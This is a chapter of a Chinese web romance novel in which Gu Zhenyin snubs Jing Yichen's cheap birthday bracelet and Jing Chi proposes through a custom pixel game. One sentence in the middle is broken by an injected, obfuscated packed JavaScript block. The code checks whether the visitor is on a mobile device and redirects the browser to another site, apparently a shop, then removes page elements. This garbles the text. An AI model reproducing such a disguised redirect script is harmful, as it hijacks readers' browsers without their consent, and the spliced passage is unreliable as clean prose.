只不过早几年在伦敦,并不算特别起眼,只有顾蓁音和她的粉丝知道,粉丝也只当是富婆姐姐的消遣,所以没有掀起太多波澜。 但这种平静在去年被打破,本来按照惯例,糯米糍在固定的时间投放一小时的生日大屏,但因为顾蓁音陪安唯去旅游,原本预计在生日当天下午回到江城,却临时出现突发暴雨天气,航班延误,顾蓁音被困机场,导致她完美错过生日大屏的投放时间。 顾蓁音当时很内疚也很遗憾,觉得没能亲眼看到,辜负了糯米糍的一片心意,她还特地和糯米糍道歉。 但糯米糍却轻描淡写地回了句:【我临时延长了投放时间,今晚零点前,你都能看到生日大屏。】 后来顾蓁音才知道糯米糍直接延长了四小时,在江城人流量最多的沪江大厦投放了五个小时的生日大屏。 这件事引起了不少人的关注,还小小上了热搜,戏称霸总文学照进现实,有人开始扒绿茶糯米糍的身份,但不到一个小时,关于绿茶糯米糍的热搜就凭空被撤下,在网络上消失得悄无声息。 当时安唯和她回江城,陪她一起庆生,她亲眼目睹了整件事,她比顾蓁音这个当事人还要激动。 “据我所知,这里的大屏私人定制要三万多一分钟,她为了不让你错过,整整投放了五个小时,一晚上花了几乎上千万,你这个大粉到底是什么来头?超级富婆姐姐?” “顾蓁音,你和我说实话,这个富婆大粉是不是暗恋你?” 顾蓁音对安唯无厘头的猜测很无奈:“什么暗恋我?人家是直的。” 但好在,糯米糍只是高调了这么一次。 此时群里很热闹,不常发言的绿茶糯米糍在此时出现。 绿茶糯米糍:【今年的生日大屏在北城CBD大厦投放,投放时间为9.14晚20:00——21:00。】 发完这条消息,绿茶糯米糍私聊了顾蓁音。 绿茶糯米糍:【今年是有事吗?】 流泪咖啡因:【嗯,家人朋友给我安排了生日宴,不方便直播。】 流泪咖啡因:【但我会去看你投放的生日大屏的!不过时间好像不是往常的七点到八点……】 绿茶糯米糍:【我觉得你那时候可能有事,就特地把时间往后调了调。】 顾蓁音觉得对方说得有道理,生日宴会的不确定因素太多,说不定到时候就有什么事耽搁了。 到了顾蓁音生日当天零点,顾蓁音的消息不断跳出,几乎占了满屏。 先是父母和姐姐的生日祝福,接下来就是朋友们和助理的一连串祝福消息。 生日宴定在安唯家一处私人酒庄,安唯和顾蓁音当了二十多年的闺蜜,深知顾蓁音的审美喜好,生日宴的每一处布置都深得她心,粉蓝气球在半空缓缓摆动,粉白玫瑰和淡蓝绣球蜿蜒了整个宴会厅,基调清新自然,香槟塔高叠,各种布置格外齐全。 生日宴在下午四点就开始了,这次生日宴邀请的大部分是发小好友,没有长辈在,少了拘束,氛围格外欢乐。 顾蓁音做完造型下楼,宴会厅所有宾客的目光聚集在顾蓁音身上,都是好友,不外乎都是夸她漂亮,顾蓁音笑着一一回应。 安唯穿着一身墨绿色鱼尾裙,正帮忙招呼朋友,见到顾蓁音,不由眼前一亮,她迎上来:“这是哪本童话书里的公主跑出来了?太美了,我的宝!” 顾蓁音摸了摸脖颈,有些遗憾:“本来想戴新珠宝的,还记得我和你说过那套很喜欢的高珠吗?可惜被人捷足先登订走了。” 生日前夕,顾蓁音看中了一套高珠,还特地找了安唯参谋,但等她联系SA后,才得知那套珠宝已经被人订走了。 安唯似乎有些心虚地摸了摸鼻子,目光闪烁:“……说不定以后有机会再见到那套高珠呢?” 顾蓁音有些不解,但安唯却转移话题,挽着她逛场地:“哎呀先别管了,看看我给你布置的场地,喜不喜欢?” 顾蓁音很会拍好友马屁:“你安排的,我都喜欢。” “你就哄我吧。” 安唯带她逛到一处僻静无人的小花园,介绍道:“这里是我家酒庄景色最好的地方了。” “你要不要在这儿坐坐,我让人端点甜品过来。” 安唯正和顾蓁音说着话,她的目光却瞬间移到顾蓁音的身后,变得有些不善。 “景先生。” 显然,有人不请自来。 景逸琛身着深色西服,站在不远处,像一尊沉默的雕像。 景逸琛对安唯态度不冷不热:“安小姐。” 安唯一样皮笑肉不笑:“我以为景先生对我们这些无聊的小打小闹不感兴趣,所以就没有邀请您,您别介意。” 景逸琛忽略安唯话里的阴阳怪气,他淡淡看向顾蓁音,道:“我只是来送礼物的。” 顾蓁音闻言,转身看向他。 安唯还想争论,却被顾蓁音拦住:“没事,你先回宴客厅。” 安唯看了她,最后小声说“有事找我”才离开小花园,顾蓁音走到景逸琛面前,客气疏离地叫了声:“小叔叔。” 顾蓁音今天是众星捧月的主角,身着的礼裙是高腰线的A-line裙,肩带领口都用了缝钻珠缝工艺,碎钻珍珠贴合白皙的肩胛,晶莹剔透,香槟色柔缎裙摆外拢着飘逸薄纱,缝制碎钻和鎏光羽毛,衬得她身形比例极好,纤秾合度,行走间裙摆流光熠熠,似雾朦胧梦幻。 乌黑长发被打理成法式公主造型,尽数梳成辫子盘起,几缕卷曲长发柔柔垂落,乌黑发间缀着零星钻石珍珠,碎钻切割面在灯光下折射出耀眼光芒。 往日她已经很漂亮了,此时的她更是美得不像话。 他看着她从亭亭玉立的少女长成,景逸琛心底微软,见顾蓁音主动过来,将丝绒首饰盒递到她面前:“礼物,看看喜不喜欢。” 离得近了,顾蓁音才注意到景逸琛的嘴角似乎泛着很淡的淤青,不知道他怎么弄的,看起来……像是被人打的。 不知道是哪位好心人动的手,她一定送一副感谢锦旗过去。 顾蓁音伸手接过,打开景逸琛的礼物,是一条钻石手链。 在以往,她如果收到景逸琛的礼物,她都能开心很久,但现在,她看着这一条审美切割都很普通的钻石手链,只觉得有些好笑。 这个礼物,应该是夏霜挑的。 她“嗒”地一声,阖上首饰盒,看向面前的景逸琛。 景逸琛见顾蓁音看他,原本紧绷的神色微不可查地放松些许。 他语气低沉:“蓁音,我让人做了一枚新的无事牌——” 但顾蓁音打断他的话:“我不要这个。” 她补充道:“至于摔坏的那枚无事牌,我也不打算修复了。” 景逸琛有些不解地皱了皱眉,显然不理解她的用意。 顾蓁音弯了弯唇,平静道:“就当做一个教训吧,一个让我时刻警醒的教训。” “那枚无事牌就算是修补得再完美,也无法恢复如初,那条裂痕也始终存在,这是没办法抹去的事实。” “就像你对我造成的伤害一样。” 景逸琛的脸色渐渐发沉。 顾蓁音却恍若未闻,她越过景逸琛,将丝绒盒递给他身侧的夏霜:“还有这个,送你了。” 夏霜没有接:“顾小姐,这是景总送你的礼物。” 顾蓁音语气平静:“我知道,不值钱的玩意儿而已,我不喜欢。” 景逸琛终于冷下脸,语气冷硬:“顾蓁音!” “原来我把你送的礼物转手送人,你也会生气啊。”顾蓁音抬眸直视他,不避不让,“那你当初为什么要这样对我?” 顾蓁音将丝绒首饰盒强行塞到夏霜手中,她语气很柔和,却意有所指地提醒:“夏助理,小心点,这一次别再摔坏了。” 夏霜脸色微僵,却还是稳稳接住了丝绒首饰盒。 顾蓁音像是想起什么,对着脸色难看的景逸琛补了句:“还有,下次送人礼物,用点心吧,别让夏助理代劳了,她的审美实在不怎么样。” 做完这一切,顾蓁音优雅地提起裙子,转身离开。 想起景逸琛难看的脸色,顾蓁音只觉得心口挤压的郁气好像消散了不少,只觉得脚步都欢快了不少。 她拿出手包里的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16261236|181607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机,准备给安唯发消息,却弹出一条消息。 景驰:【这么开心啊。】 ? 顾蓁音的表情霎时收敛,她抬眸,环顾四周,最后却一无所获。 “这儿呢,公主。” 熟悉的语调带着清浅笑意,拖得漫不经心,从斜对面传来,顾蓁音循声望去,和一楼露台的景驰目光相撞。 小花园里绿植覆盖,郁郁葱葱,如果不仔细看,顾蓁音都发现不了还有一个小小的露台。 他双手搭在栏杆上,下午五点的光线并不明亮,一旁几棵葳蕤丹桂将露台遮挡大半,她却将景驰眼底的戏谑笑意看得分明。 他今天穿得格外正式,但廓形西装没有扣纽扣,削弱了文气,添了几分随性,身侧树影摇曳,在他英挺的脸庞落下晃动的阴影。 自从上次,顾蓁音说会考虑和他结婚后,两人就再也没有联系过。 她轻咳一声:“你看到了?” “嗯,挺精彩的。” 景驰语调懒散地评价:“刚刚那手链,钻石小得要用放大镜看,配不上你。” 不得不说,景驰有些时候,真的挺混蛋刻薄的。 但顾蓁音也不得不承认,景驰说得很对。 顾蓁音忍不住笑了:“我也觉得配不上我。” 景驰微微倾身,他垂眸看她,嘴角扯出一抹玩世不恭的淡笑。 “哎,公主。” “要不要跟我去看看你的生日礼物?” 他笑了下,嗓音漫不经心:“看点配得上你的。” - 二楼休息室,像是将世界分割成两个部分,完全隔绝楼下宴会厅的喧闹,安静得针落可闻。 景驰递给她一个平板。 顾蓁音垂眸,平板屏幕上,是一个像素风格的游戏界面。 顾蓁音好奇:“这是游戏?” 景驰:“对,就是游戏。” 顾蓁音点击游戏开始,画面跳转成一片辽阔的茂密森林,森林外出现一个像素游戏小人,顾蓁音勉强辨认出来,游戏里的小人的裙子,和她现在穿的一模一样。 画面跳出一行字:【音音公主,请前往神秘森林深处探险,获得属于你的宝藏。】 游戏关卡设置得并不多,一共三个关卡,需要操作小人穿越河流,躲避缠绕四肢的水草;经过沼泽地时,要防止被埋伏的鳄鱼咬伤;跨过雪山,需要避免被雪崩追上,中间遇到困难,会有小动物配角帮忙,顾蓁音花了十几分钟,就已经抵达放置宝藏的山洞。 顾蓁音点击山洞里的宝箱,宝箱打开,弹出一套闪闪发亮的钻石珠宝。 虽然是比较简约的像素风,但顾蓁音目光停在屏幕上,久久没有移开,她只觉得游戏里的钻石珠宝格外眼熟。 是她想预订,但被其他人捷足先登的那套高珠。 景驰的声音在头顶响起:“顾蓁音,抬头。” 顾蓁音下意识抬眼,她目光顿住,那套真正的高珠实物,此时正在静静地放置在她的面前。 顾蓁音轻声道:“这套高珠,原来是被你订走的……” “现在物归原主。”景驰将那套高珠推到她眼前,敲了敲边缘,“生日快乐,音音公主。” 黑色丝绒面上,项链环绕着每一颗钻石都散发着耀眼夺目的火彩,璀璨,华丽。 顾蓁音呆呆的,有些没反应过来。 景驰伸出手,在她眼下晃了晃,好笑道:“怎么了,被闪到了?” 顾蓁音回过神:“……确实有点闪。” ”确实,我送的钻石,要带着护目镜看。“景驰语气乖张,“不然担心闪到你的眼睛。” 顾蓁音听出他的言外之意,忍不住笑了:“嗯,你送的礼物,甩景逸琛十条街。” “当然。” 景驰挑了挑眉,显然对她的话很满意。 顾蓁音将平板放在膝盖上,很真挚地道谢:“谢谢,游戏挺有意思的,做这个游戏花了很多时间吗?” 景驰慢慢站直,他的目光淡淡落在她的脸上:“还好,没有花多长时间……” “等等。” 顾蓁音打断他的话,她的目光却突然定在屏幕某处,她突然抬手,点了下屏幕里一处阴影。 屏幕画面出现变化,一个从未出现的游戏小人缓缓从阴影走出,停在主角小人面前,捧着一个小首饰盒。 顾蓁音疑惑:“这是什么?” 景驰垂眸望向屏幕,突然笑了:“恭喜你,开出我的隐藏彩蛋。” 听到彩蛋两个字,不知怎么,顾蓁音呼吸有些发紧:“是什么?” 景驰环臂半靠在桌边,姿态闲适,却没有透露答案的意思,他扬了扬下颔:“你可以点开看看。” 顾蓁音迟疑地移动指尖,在屏幕上轻轻一点,游戏里的首饰盒缓缓打开,出现了一枚粉钻戒指。 “我制作这个游戏的时候,曾经和自己说。” 景驰弯身与她平视,漆黑的瞳仁中漾着细碎的光:“如果你能发现这个彩蛋,那我就顺便求个婚。” “咔哒”一声轻响,墨色丝绒首饰盒打开,和游戏里一模一样的钻戒出现在顾蓁音的眼前。 淡彩粉的粉钻镶嵌在戒圈上,幽暗的光线镀在光洁圆润的戒圈边缘,由明转暗,泛起一丝微光。 顾蓁音坐在沙发上,下意识屏住呼吸,心脏在此刻不知所措地“扑通扑通”乱跳。 天际的落日下沉,暮色四起,天空呈现高浓度的克莱因蓝,世界陷入静谧的蓝调时刻,最后一丝绯红夕阳斜射照入休息室的落地窗内,染红景驰冷白的耳尖。 “顾蓁音,要不要嫁给我?”